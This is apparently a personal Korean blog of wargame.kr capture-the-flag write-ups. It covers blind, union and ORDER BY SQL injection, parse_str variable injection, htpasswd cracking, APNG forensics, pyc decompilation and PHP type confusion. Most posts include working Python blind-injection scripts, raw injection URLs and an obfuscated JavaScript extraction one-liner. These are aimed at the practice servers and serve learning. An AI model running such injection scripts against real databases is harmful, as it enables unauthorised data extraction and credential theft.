Blind SQLi challenge.

You can use 'Ascii' to 'Date'


들어가면 표가 하나 반겨준다. idx와 아이피가 적혀있는데 이건 쓸데 없어보이고, admin 페이지가 있다고 하여 들어가보니 로그인창만 있다.
특별한건 없어보이고, POST값을 넘겨줘 로그인하는 개념인것같다. 몇번 해보다가 아무 단서도 없기때문에 여기서 하는게 아니고, 표를 클릭해 얻을 수 있는 정보로 로그인을 해야할 것 같다.

표를 누르면 chk.php 에서 idx를 확인하게 되는데, idx에서 and 1=1 , and 1=0 을 보내니 결과가 다르게 리턴됨을 확인했다.
즉, sqli 가 가능하다는 말이다.


먼저 length를 체크하고 돌려봤는데 이 과정에서 information_schema에 base table로 선택하게 했더니 잘 선택되지 않았다.
(CHARSET을 위해서 몇분을 날림 ㅠㅠ 나중에 깨달았다..)

hex로했는데도 IF값이 false만 나오는거보니 뭔가 있는것 같다.
그래서 WHERE대신에 order by table_type을 해주기로 했다. 어차피 전부 SYSTEM 일테니까 BASE TABLE이 제일 위에 올거라는 생각이었다.
그리고 그 생각이 맞았나 드디어 제대로 된 값이 리턴되었다. (왜 안될까 ㅠㅠ)

결과가 조금 이상하게 나왔지만 충분히 유추가능한 범위여서 괜찮았다. 페이지에 브루트포스를 막는 용도인지 sleep 이 걸려있기때문에 느긋하게 풀어야한다;

컬럼은 idx, id, ps 인데 괜한 삽질하지 않았으면 하는 마음에 적는다. (너무 오래걸린다)

한참 걸려서 다 알아내고 어드민페이지에서 로그인하면 키가 나온다.

코드는 따로 지우지 않았으니 보고 싶은 사람만..

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, time


headers = {'Host': 'wargame.kr:8080'}


for j in range(10,12):
    data = "if((select length(table_name) from information_schema.tables order by table_type limit 0,1)={},15078,1)".format(j)
    #print data
    data = urllib.quote(data)

    req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers)
    response = urllib2.urlopen(req)
    if "1970" not in response.read():
   print "TABLE LENGTH: {}".format(j)


for i in range(1,15):
for j in range(32,127):
   data = "if((select substr(table_name,{},1) from information_schema.tables order by table_type limit 0,1)={},15078,1)".format(i,hex(j))
   #print data
   data = urllib.quote(data)

   req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers)
   response = urllib2.urlopen(req)
   if "1970" not in response.read():
   print "TABLE NAME FOUND: {}".format(chr(j))

for k in range(0,10):
for i in range(1,15):
for j in range(32,127):
   data = "if((select substr(column_name,{},1) from information_schema.columns where table_name=0x{} limit {},1)={},15078,1)".format(i,"admin_table".encode('hex'),k,hex(j))
   data = urllib.quote(data)

   req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers)
   response = urllib2.urlopen(req)
   if "1970" not in response.read():
   print "COLUMN NAME FOUND: {}".format(chr(j))

for i in range(1,50):
for j in range(32,127):
   data = "if((select substr(id,{},1) from admin_table)={},15078,1)".format(i,hex(j))
   data = urllib.quote(data)

   req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers)
   response = urllib2.urlopen(req)
   if "1970" not in response.read():
   print "ID FOUND: {}".format(chr(j))


for i in range(1,50):
for j in range(32,127):
   data = "if((select substr(ps,{},1) from admin_table)={},15078,1)".format(i,hex(j))
   data = urllib.quote(data)

   req = urllib2.Request("http://wargame.kr:8080/ip_log_table/chk.php ", "idx=" + data, headers)
   response = urllib2.urlopen(req)
   if "1970" not in response.read():
   print "PS FOUND: {}".format(chr(j))


2016/06/13 17:32 2016/06/13 17:32
Blind SQLi challenge.

Can you SQLi with 'order by' in expression?


<?php
if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}
include("./inc.php");
include("../lib.php");
//usleep(200000*rand(2,3));
if(isset($_POST['sort'])){
 $sort=$_POST['sort'];
}else{
 $sort="asc";
}
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html>
 <head>
  <style type="text/css">
   body {background-color:#eaeafe;}
   #title {text-align:center; font-size:22pt; border:1px solid #cacaca;}
   #reg:hover {color:#557; cursor:pointer;}
   #contents {text-align:center; width:550px; margin: 30px auto;}
   #admin_tbl {width:100%;}
   #admin_tbl thead tr td {border-bottom:1px solid #888; font-weight:bold;}
   #admin_tbl tbody tr td {border-bottom:1px solid #aaa;}
   #admin_tbl #reg {width:200px;}
  </style>
  <script type="text/javascript" src="./jquery.min.js"></script>
  <script type="text/javascript" src="./jquery.color-RGBa-patch.js"></script>
  <script type="text/javascript"> var sort="<?php echo $sort; ?>"; </script>
  <script type="text/javascript" src="./main.js"></script>
 </head>
 <body>
  <div id="title"> Lonely guys Management page </div>
  <div id="contents">
   <table id="admin_tbl">
    <thead>
     <tr><td>the list of guys that need a girlfriend.</td><td id="reg">reg_single <sub>(sort)</sub></td></tr>
    </thead>
    <tbody>
     <?php
      mysql_query("update authkey set authkey='".auth_code('lonely guys')."'");
      $sort = mysql_real_escape_string($sort);
      $result=mysql_query("select * from guys_tbl order by reg_date $sort");
      while($row=mysql_fetch_array($result)){
       echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>";
      }
     ?>
    </tbody>
   </table>
  </div>
  <div style="text-align:center;">
      <a href="?view-source">view-source</a>
  </div>
 </body>
</html>


sort 는 escape되고 있는데 뭔갈 할 수 있을까?
찾아보니 order by 에 취약점 비슷한게 있다. 블라인드 시도때 한정된것이긴한데, 이런 문법이 가능하다

order by column, (1....)


이때 값이 0이 들어가면 정렬되지 않고, 리턴되지도 않지만 1이상이면 값이 표시된다. 즉, 블라인드 인젝션이 available하다는 말이다.
우리가 긁어야할 컬럼은 소스에도 나와 있듯이 authkey 여서 많은 일을 할 필요는 없다. 그래서 쿼리를 이렇게 짜보았다.

,IF((SELECT substr(authkey,1,1) FROM authkey limit 1,1)=0x20,1,0)



그치만 안된다. 왜지? ㅡㅡ
IF로만 돌려보면 제대로 값이 반환되는듯 보이지만 풀 쿼리로 돌려보면 돌아가진 않는다.
아무래도 쿼리 자체를 부정하는수밖에 없을것 같다. 그래서 좀 바꿔봤다

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, time

headers = {'Host': 'wargame.kr:8080'}

pw = ''
for i in range(30,50):
    for j in range(48,91):
        data = ",(select 1 from guys_tbl,authkey where 1=1 and substr(authkey,{},1)={})".format(i,hex(j))
        data = urllib.quote(data)

        req = urllib2.Request("http://wargame.kr:8080/lonely_guys/index.php", "sort=" + data, headers)
        response = urllib2.urlopen(req)
        if len(response.read()) < 1518:
            print chr(j)
            pw = pw + chr(j)
        time.sleep(0.1)
print pw


문제는 이래도 중간중간 다운이 되서.. 세번쯤 돌린것 같다.
쿼리를... 잘 짜야한다... 잘.......... 한시간 반 넘게 이래저래 해본다고 삽질한것 같다...ㅠㅠ

위 python code가 싫다면
흑마술이라고 부르는 다음 js를 콘솔창을 열고 입력해봐도 좋다

(function(){function a(b,c){var a=", (SELECT 1 UNION SELECT IF(ORD(SUBSTRING(authkey,{},1))={},1,0) FROM authkey)".replace("{}",b).replace("{}",f[c].charCodeAt(0));$.post("",{sort:a},function(d){if(h.test(d)&&(e[b]=f[c],40===Object.keys(e).length)){d=Object.keys(e);for(var a="",g=0;g<d.length;g++)a+=e[d[g]];console.log(a)}})}var e={},f="0123456789abcdef".split(""),h=RegExp("jacob","ig");(function(){for(var b=0;40>b;b++)for(var c=0;c<f.length;c++)a(b+1,c)})()})();
2016/06/13 03:04 2016/06/13 03:04
SQL injection Challenge!
(injection)

- thx to dmbs335


다른 출제자가 낸 문제인가보다.
게시판이 하나 있는데 클릭이 안된다. 커서가 바뀌길래 클릭되는줄알았는데..

<?php 

if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
}

include("../lib.php");
include("./inc.php"); // Database Connected

function getOperator(&$operator) { 
    switch($operator) { 
        case 'and': 
        case '&&': 
            $operator = 'and'; 
            break; 
        case 'or': 
        case '||': 
            $operator = 'or'; 
            break; 
        default: 
            $operator = 'or'; 
            break; 
}} 

if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}

parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
$keyword = addslashes($keyword);
$where_clause = ''; 

if(!isset($search_cols)) { 
    $search_cols = 'subject|content'; 
} 

$cols = explode('|',$search_cols); 

foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; 
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"; 
    } 

    if($query_parts) { 
        $where_clause .= $query_parts; 
        $where_clause .= ' '; 
        $where_clause .= $operator; 
        $where_clause .= ' '; 
        $query_parts = ''; 
    } 
} 

if(!$where_clause) { 
    $where_clause = "content like '%{$keyword}%'"; 
} 
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    $len = strlen($where_clause) - (strlen($operator) + 2);
    $where_clause = substr($where_clause, 0, $len); 
} 


?>
<style>
    td:first-child, td:last-child {text-align:center;}
    td {padding:3px; border:1px solid #ddd;}
    thead td {font-weight:bold; text-align:center;}
    tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
    <thead>
        <tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr>
    </thead>
    <tbody>
        <?php
            $result = mysql_query("select * from board where {$where_clause} order by idx desc");
            while ($row = mysql_fetch_assoc($result)) {
                echo "<tr>";
                echo "<td>{$row['idx']}</td>";
                echo "<td>{$row['subject']}</td>";
                echo "<td>{$row['content']}</td>";
                echo "<td>{$row['writer']}</td>";
                echo "</tr>";
            }
        ?>
    </tbody>
    <tfoot>
        <tr><td colspan=4>
            <form method="">
                <select name="search_cols">
                    <option value="subject" selected>subject</option>
                    <option value="content">content</option>
                    <option value="content|content">subject, content</option>
                    <option value="writer">writer</option>
                </select>
                <input type="text" name="keyword" />
                <input type="radio" name="operator" value="or" checked /> or &nbsp;&nbsp;
                <input type="radio" name="operator" value="and" /> and
                <input type="submit" value="SEARCH" />
            </form>
        </td></tr>
    </tfoot>
</table>
<br />
<a href="./?view-source">view-source</a><br />



또 처음보는 php function이 있는데 parsestr이다.
찾아보니까 쿼리 스트링을 그대로 변수화해주는것 같다.

w3c에 있는 예시는 이렇다

<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
?>



코드를 잘보면 keyword는 addslash가 되고 있고 cols는 regex되고 있다. 웃긴게 리스트에 없는걸 넣으면 ''가 되서 정말 아무거나 넣으라고 광고해주는거 같다..그리고 query_parts는 따로 뭐가 없다. 이것만 이용하면 blind injection을 할 수 있을 것 같다.

다음과 같이 쿼리를 날려보니 injection이 가능함을 알게 되었다

http://wargame.kr:8080/dmbs335/?search_cols=a&keyword=a&operator=or&query_parts=1%20union%20select%201,2,3,4%20#



이제 information_schema를 들쑤셔보자. 요건 simple board에서 쓴 쿼리 거의 그대로 사용했다.

http://wargame.kr:8080/dmbs335/?search_cols=a&keyword=a&operator=or&query_parts=1%20union%20select%20table_schema,table_name,3,4%20FROM%20information_Schema.tables#


그러면 이렇게 마주하게 된다




쭉 내려가보면 목표 테이블이 보이고, column 까지 조회해서 select하면된다.
갑자기 쉬운문제라 편하게 풀었던거같다


2016/06/13 02:05 2016/06/13 02:05
.htaccess crack!

can you local bruteforce attack?


.htaccess 는 웹해킹.kr에서 좀 해본거같아서 자신있게 풀수있지 않을까? 라는 생각을 하고 시작한다.
그 기대는 깨졌다. htpasswd가 나왔기때문이다... 해본적없음...

웁스, 패스워드를 까먹었어요!! 누가 도와주세요 ㅜ_ㅜ(분명 제 기억상으로, 패스워드의 처음엔 G4HeulB 라는 문자열로 시작하고 다른 글자들은 숫자랑 영어 알파벳 소문자로만 이루어졌던거 같아요.)
주의: 이 .htaccess 파일은 아이피마다 다른 값이 들어있습니다. 반드시 다운받은 ip에서 인증해 주세요.

옛날에 비밀번호를 만들기위해서 generator를 사용해본적 있는데 digest, sha1, md5, crpyt 알고리즘으로 비밀번호를 만들 수 있었다.
근데 찾아보니 더 많은 알고리즘이 지원된다고 해서 일일히 해볼 생각을 포기하고 디크립터를 찾아보기로 했다
찾아보니 옛날 리눅스 쉐도우따서 디크립트 하려고 했던 john the ripper 툴이 가장 유명하다고 한다

사용은 이런식으로 하면되는데

john -i FILE


힌트가 G4HeulB 가 나왔는데 안쓸수가 없었다. 시간도 오래걸릴것같고..
그래서 사용법을 한참 찾다가 그냥 치트키를(...) 쓰기로 했다.

요점은 john the ripper의 stdin 옵션을 이용해서, python으로 랜덤코드를 만들어서 바로 꽂아서 비교해버리겠다는건데
왜 이생각을 못했을꼬... 역시 배워야 산다.






2016/06/13 01:37 2016/06/13 01:37
Recovery the PNG image file!

but.. is this really "PNG" file?
(NO STEGANOGRAPHY. THIS IS FORENSIC CHALLENGE)


소스 보기를 하면 어렵지 않게 pattern.png를 받을 수 있다. QR코드처럼 생기기도 했는데 그건 아닌듯 보인다.
hex view를 이용해 png를 열어 보았다. 왜냐면 처음에 생각하기로 파일 시그니쳐가 다른데 png처럼 보이게 꾸몄을거라 생각했기 때문이다. 근데 놀랍게도 시그니쳐가 맞다 ㅡㅡ

89 50 4e 47 0d 0a 1a 0a


그래서 hex view 대신에 그냥 노트패드로 보니 끝에 이상한 문구가 있었다.

EXtSoftware Japng r119


Japng r119 로 검색하니까 APNG라는게 나오는데 처음 들어본 포맷이었다..
여튼 APNG는 PNG가 애니메이션화 되었다고 생각하면 될듯하다. GIF처럼 여러 프레임이 감춰져있다고 생각되어서 툴을 찾아 사용해봤다
프레임이 두개로 나뉘어져있는듯하다.


암만봐도 공백사이에 점이 들어갈것 같다. 합성을 하면 QR 코드가 나오고 얘를 찝어보면 키가 하나 나온다.
인풋에 넣어주면 auth code가 딱하고 나와준다. 나이스!





2016/06/13 00:49 2016/06/13 00:49
bughela.pyc

:D


문제엔 서버시간이 나와 있다. 이렇게

[IMPORTANT] SERVER TIME (KST) :

2016/06/12 23:57:49


그리고 pyc를 받을 수 있는데, 실행해보면 import me 라고 나온다.
dir을 이용해서 명령어를 조회해보니 이렇게 나온다.

['GIVE_ME_FLAG', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'die', 'exit', 'main', 'sha512', 'time']


목표가 굳이 설명을 할 필요가 없을정도로 명확해보인다.
일단 디컴파일이 필요해보이니 디컴파일러를 찾았다. 코드 원형을 쉽게 볼 수 있었다.

import time
from sys import exit
from hashlib import sha512

def main():
    print 'import me :D'

def GIVE_ME_FLAG(flag):
    if flag[:43] != 'http://wargame.kr:8080/pyc_decompile/?flag=':
        die()
    flag = flag[43:]
    now = time.localtime(time.time())
    seed = time.strftime('%m/%d/HJEJSH', time.localtime())
    hs = sha512(seed).hexdigest()
    start = now.tm_hour % 3 + 1
    end = start * (now.tm_min % 30 + 10)
    ok = hs[start:end]
    if ok != flag:
        die()
    print 'GOOD!!!'

def die():
    print 'NOPE...'
    exit()

if __name__ == '__main__':
    main()


소스를 풀어서 실행하면 끝날까 싶더니 안되었다.
잘 보면 로컬타임을 맞춰 실행되고 있는데 처음에 문제에서 IMPORTANT!!! 라고 했기때문에 서버시간을 써야되나싶어서 서버타임으로 대충 코드질을 했다

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import time
import datetime
import urllib, urllib2, re
from hashlib import sha512

 
headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/pyc_decompile/"
 
req = urllib2.Request(url, '', headers)
response = urllib2.urlopen(req)
res = response.read()

server_time = res[res.find('<h1>')+4:res.find('</h1>')]
server_time = datetime.datetime.strptime(server_time, '%Y/%m/%d %H:%M:%S')

now = server_time
seed = server_time.strftime('%m/%d/HJEJSH')
hs = sha512(seed).hexdigest()
start = server_time.hour % 3 + 1
end = start * (server_time.minute % 30 + 10)
ok = hs[start:end]

req = urllib2.Request("http://wargame.kr:8080/pyc_decompile/?flag=" + ok, '', headers)
response = urllib2.urlopen(req)
res = response.read()


print res


약간.. 허무한 느낌이다.
pyc가 이렇게 쉽게 디컴파일이 되는것도 허무했고 문제도 조금 허무하고..





2016/06/13 00:16 2016/06/13 00:16
Simple SQLi Challenge.

How can I set in order to reduce the traffic?

Please try looking at a developer's perspective.


web chatting... 뭔가... 단어가.... 거슬린다.....
화면은 되게 별거 없다. 그냥 닉네임 치고 들어가서 채팅창이 하나 있는건데

콘솔이 완전 난리다. ajax chat이라서 정말 쉬지도 않고 채팅을 갱신하고 있다
반환되는 내용을 보니

'14034' 인데, 내가 글을 한번 치니 14035로 올라갔다.
즉 마지막글의 번호인모양이다.

로직은 이렇다.

http://wargame.kr:8080/web_chatting/chatlog.php?data=test 


이런식으로 데이터를 기입할 수 있고, 마지막 번호가 달라진채로 반환되면

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=14036


자신의 마지막 채팅번호도 같이 보내 그 사이의 값을 받아온다.
그렇게 반환된 데이터는

<span title='12:44:57 (10 Jun. 2016)'><b style='font-size:12px;'>3</b> <span style='font-size:9px;'>()</span> : <span style='font-size:13px; font-family:verdana;'>test</span></span><br />


이렇게 생겼다. 숫자를 바꿔보내면 지난 날의 삽질 기록들이 쭈욱 나오는데 그걸 보진 말자

요점을 보자면 chatview.php 를 이용해 flag를 반환받아야 할 것 같다. ni에 sql명령어를 쳐봤더니 반환이 되었다.
고로,

table 이름, 컬럼이름, 컬럼조회를 다시 하면 될 것 같다.
다만, 이번경우에는 union이 사용안되는듯 보여 blind injection을 사용해야 할 것 같은데, 학교에선 또 안된다.......
결국 기숙사에와서 다시 돌려보았다. 참, 구분을 구분해보기 위해서 IF를 사용해보자

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=IF(1=0,1,200)


요컨데 이런꼴로 하면 결과가 달리 리턴되는걸 확인해볼 수 있다.
블라인드 인젝션을 위한 스크립을 작성해야되는 타이밍이 왔다. 우선 테이블의 길이부터 차근차근 알아내보도록 하자

우선 테이블 이름의 길이부터 알아내야한다. 그런데 지금은 아무 단서가 없기 때문에 일반 테이블 중에서 선택하도록 해보자.
information_schema를 본사람은 알겠지만 테이블은 시스템 테이블과 base table로 나뉘어져있다. 그런데 이런 워게임같은 경우는 정말 특별한 일이 아니고서야 테이블이 단 하나만 있을 것이다. (DB별로 나뉘어서 존재하고)

고로, BASE테이블을 조회해보자.
내가 만든 쿼리는 다음과 같다.

"if((select length(table_name) from information_schema.tables where table_type=0x{} limit {},1)={},1,200)".format("BASE TABLE".encode('hex'),limit,i)


BASE TABLE을 hex화 하는건 qoute가 필터링 되있기 때문이다.
이렇게 돌리면 각자 참과 거짓일때 어떤 값을 넣을진 잘 모르겠지만 나의 경우엔 3321735로 나왔다. 이제 얘가 아닐때 출력하게 해주는 식으로 스크립트를 작성해보자.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

for i in range(100):
    data = "if((select length(table_name) from information_schema.tables where table_type=0x{} limit 1,1)={},1,200)".format("BASE TABLE".encode('hex'),i)
    data = urllib.quote(data)

    req = urllib2.Request(url + data , '', headers)
    response = urllib2.urlopen(req)
    if len(response.read()) != 3321735:
        print i


짧은 코드이다. 길이를 얻었으니 이제 아스키코드 매칭을 해보자.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

for i in range(1,여긴길이가 들어간다):
    for j in range(32,123):
        data = "if((select substr(table_name,{},1) from information_schema.tables where table_type=0x{} limit 1,1)={},1,200)".format(i,"BASE TABLE".encode('hex'),hex(j))
        data = urllib.quote(data)

        req = urllib2.Request(url + data , '', headers)
        response = urllib2.urlopen(req)

        if len(response.read()) != 3321735:
            print chr(j)


이렇게 하면 대 소문자가 같이 나오는데 알아서 거르도록 하자.
컬럼 길이를 따고, 컬럼 이름을 따고, 셀렉트하는 과정이 남았다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

for i in range(1,10):
    for j in range(1,100):
        data = "if((select length(column_name) from information_schema.columns where table_name like 0x{} limit {},1)={},1,200)".format("테이블 이름을 적당히 잘라서%".encode('hex'),i,j)
        data = urllib.quote(data)

        req = urllib2.Request(url + data , '', headers)
        response = urllib2.urlopen(req)

        if len(response.read()) != 3321735:
            print i, j


컬럼 이름은 좀 골때리는데, 컬럼이 몇갠줄을 모른다.
그래서 그냥 한 열개쯤 되겠거니 해서 10*100으로 돌려보았다.
컬럼은 다섯개가 나온다. 굳이 10개로 돌리진 말라고 하는 맘에 적어본다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

for k in range(1,6):
    for i in range(1,9):
        for j in range(32,92):
            data = "if((select substr(column_name,{},1) from information_schema.columns where table_name like 0x{} limit {},1)={},1,200)".format(i,"테이블 이름을 쓴다".encode('hex'),k,hex(j))
            data = urllib.quote(data)

            req = urllib2.Request(url + data , '', headers)
            response = urllib2.urlopen(req)

            if len(response.read()) != 3321735:
                print k, chr(j)
    print
    print



보시다시피 루프가 세개나 되기때문에 아주, 아주 오래 기다려야한다. 우리가 봐야할 컬럼은 5번이니까 그냥 limit에 5를 하는걸 권한다.
나는... 다했다....

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re


headers = {'Host': 'wargame.kr:8080'}
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="

pw = ''
for i in range(22,50):
    for j in range(32,92):
        data = "if((select substr(컬럼,{},1) from 테이블)={},1,200)".format(i,hex(j))
        data = urllib.quote(data)

        req = urllib2.Request(url + data , '', headers)
        response = urllib2.urlopen(req)

        if len(response.read()) != 3321735:
            print chr(j)
            pw = pw + chr(j)

print pw



이렇게 하면 키를 얻을 수 있게 된다. (길이를 알아내는게 우선이지만 어차피 해쉬라고 생각했다)
그런데 워낙 많은 리퀘스트를 때리다보니 접속이 원활히 이루어질때가 있다. 개인적으로는 time.sleep(1) 등을 이용해서 약간 간격을 줘야 안정적으로 문제를 풀 수 있을 것 같다.

해결하기 위해 순수하게 오래 걸리는 문제였다.




2016/06/10 12:52 2016/06/10 12:52
Simple Union SQL injection Challenge.
(but you need script... maybe?)


가벼운 보드가 반겨준다. 글 내용도 읽을 수 있게 충실히(?) 잘 구현되어 있는 보드인데 union으로 다른 테이블을 조회해야하는 느낌이 들었다. 소스는 다음과 같다
사실 이런 클래스를 보면... 나도 제대로좀 짜야겠단 생각이 매번들지만.. 이렇게 구조화해서 짜는게 참 좋은데.. 시도를 할 엄두가 안난다.

 <?php
    if (isset($_GET['view-source'])){
        if (array_pop(split("/",$_SERVER['SCRIPT_NAME'])) == "classes.php") {
            show_source(__FILE__);
            exit();
        }
    }

    Class DB {
        private $connector;

        function __construct(){
            $this->connector = mysql_connect("localhost", "SimpleBoard", "SimpleBoard_pz");
            mysql_select_db("SimpleBoard", $this->connector);
        }

        public function get_query($query){
            $result = $this->real_query($query);
            return mysql_fetch_assoc($result);
        }

        public function gets_query($query){
            $rows = [];
            $result = $this->real_query($query);
            while ($row = mysql_fetch_assoc($result)) {
                array_push($rows, $row);
            }
            return $rows;
        }

        public function just_query($query){
            return $this->real_query($query);
        }

        private function real_query($query){
            if (!$result = mysql_query($query, $this->connector)) {
                die("query error");
            }
            return $result;
        }

    }

    Class Board {
        private $db;
        private $table;

        function __construct($table){
            $this->db = new DB();
            $this->table = $table;
        }

        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }

        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }

        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600, "/SimpleBoard/");
        }

        public function get_list(){
            $sql = "select * from {$this->table} order by idx desc limit 0,10";
            $list = $this->db->gets_query($sql);
            return $list;
        }

    }




글을 읽을때마다 view라는 쿠키에 글 번호가 기재된다.
만약 쿠키에 없는 글을 읽으면 조회수가 올라가는 방식이다.
소스상에서 idx에 quote가 되지 않아 공격으로 활용할 수 있을 것 같아 간단히 idx 와 union select 를 해봤는데 자꾸 타임아웃이 걸렸다. 이유는 모르겠으나 너무 답답한 문제였다. 근데 원격으로 기숙사에서 돌리니 잘돼... 아무래도 네트워크 방화벽자체에서 단어를 필터링 하는 모양이다.
그래서... 한쪽은 팀뷰어 키고 한쪽은 문제 풀이하는 기이한 광경으로 풀이를 시작했다


소스를 보면 알 수 있겠지만 쿠키를 이용한다. 그래서 쿼리입력과 쿠키를 맞춰줘야 하는데 그냥 하면 너무나 귀찮은 일이다.
그래서 간단한 python 코드를 작성한다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re

data = ''
payload = "5 union select 1,2,3,4#"
 
headers = {'Host': 'wargame.kr:8080',
           'Cookie': 'view='+ urllib.quote('/'+payload)+';'
          }
url = 'http://wargame.kr:8080/SimpleBoard/read.php?idx=' + urllib.quote(payload)


req = urllib2.Request(url, '', headers)
response = urllib2.urlopen(req)
the_page = response.read()

print the_page


결과가 잘 나오는걸 확인했으니 4번 항목에 원하는데로 쿼리를 넣어보도록 하자.
전에 webhacking.kr에서 컬럼이름을 알아내는 방법에 대해서 적은적이 있었는데, 그땐 information_Schema가 막혀있었다.
그치만 이번엔 어떤 락도 존재하지 않으니 쭈욱 뽑아내보도록 하자


select table_schema,table_name,3,4 FROM information_Schema.tables


이런식으로 갯수를 4개를 맞춰줘야한다. 3,4 는 중요한게 아니고 이제 뒤에 limit 1,1 꼴로 한개씩 증가시켜나가볼것이다
limit 40때 테이블 이름들이 등장하는데

<tr><td>SimpleBoard</td><td>README</td><td>3</td></tr>


이름이 바로 README이다. 그렇다면 README의 컬럼도 알아보자

5 union select column_name, 2, 3, 4 from information_schema.columns where table_name='README'


안된다. 왜 안될까. README라는 테이블명이 아무래도 필터링 되고 있는것 같았다.
그래서 아스키코드로 변환해서 다음과 같이 입력했다.

5 union select column_name, 2, 3, 4 from information_schema.columns where table_name=CHAR(82,69,65,68,77,69)


컬럼이름이 flag라고 한다.
select를 하면 key가 나오고 문제를 해결할 수 있다.
컴퓨터 두대로 하느라 정말 귀찮은 문제였다...




2016/06/08 17:24 2016/06/08 17:24
you need login with "admin"s id!

===========================

create table tmitter_user(
 idx int auto_increment primary key,
 id char(32),
 ps char(32)
);


짭트위터 ... admin으로 로그인해야한다고 한다.
웃긴게 로그인버튼은 눌리지도 않는데 일단은 admin이라는 아이디로 가입부터 해보기로 한다

필터는 안되있고 admin 으로 가입하려면 존재한다는 에러가 반겨준다.
옛날에 한 가락이 있으니 admin + ' '도 해보고 이것저것 해봤으나 안된다.

0x61646d696e 는 존재한다는것 같지만
CHAR(97,100,109,105,110) 를 해보니까 화면이 전환되었다. 이름 그대로 가입시켜준다 ㅋㅋ CHAR 함수는 사용할 수 없는것 같다.
잘 생각해보면 디비 스킴을 왜 공개해줬을까. 아이디에 혹시 32자이상해주면 마지막은 잘리고, tim()되면서 admin으로 가입할 수 있지 않을까?

요컨데 이렇게 말이다.

id=admin                                                                                           1&ps=1234567


자릿수는 그냥 32자 넘기려고 대강 친것이다. 어쨌든 이렇게 하면 가입이 정상적으로 이뤄지고, 로그인할수도 있어 key를 얻게 된다.
2016/06/08 16:10 2016/06/08 16:10
Simple Compare Challenge.

hint? you can see the title of this challenge.

 :D


type.. 사실 PHP같은 스크립트 기반 언어에서 type을 신경써본적이 '거의'없다. 무슨 문제일지 궁금하긴하다.

 <?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 if (isset($_POST['json'])) {
     usleep(500000);
     require("../lib.php"); // include for auth_code function.
    $json = json_decode($_POST['json']);
    $key = gen_key();
    if ($json->key == $key) {
        $ret = ["code" => true, "flag" => auth_code("type confusion")];
    } else {
        $ret = ["code" => false];
    }
    die(json_encode($ret));
 }

 function gen_key(){
     $key = uniqid("welcome to wargame.kr!_", true);
    $key = sha1($key);
     return $key;
 }
?>

<html>
    <head>
        <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script>
        <script src="./util.js"></script>
    </head>
    <body>
        <form onsubmit="return submit_check(this);">
            <input type="text" name="key" />
            <input type="submit" value="check" />
        </form>
        <a href="./?view-source">view-source</a>
    </body>
</html>



일단 gen_key는 uniqid기때문에 내가 어떤값을 넣어서 보낸다고 해도 별로 소용이 없다.
그래서 다른 방법을 찾아야 할 것 같아보였다. 무조건 값을 참으로 만들어야 하는데 $json->key를 그대로 사용하고 있다.
json은 true와 false의 경우 "true"나 "false"처럼 string으로 캐스팅하지 않고 그대로 사용하고, 형을 보존해서 보내기때문에

key에 true 값을 줘서 보내면 문제를 패스하게 된다
요컨데 이런식이다

json={"key":true}




2016/06/08 15:56 2016/06/08 15:56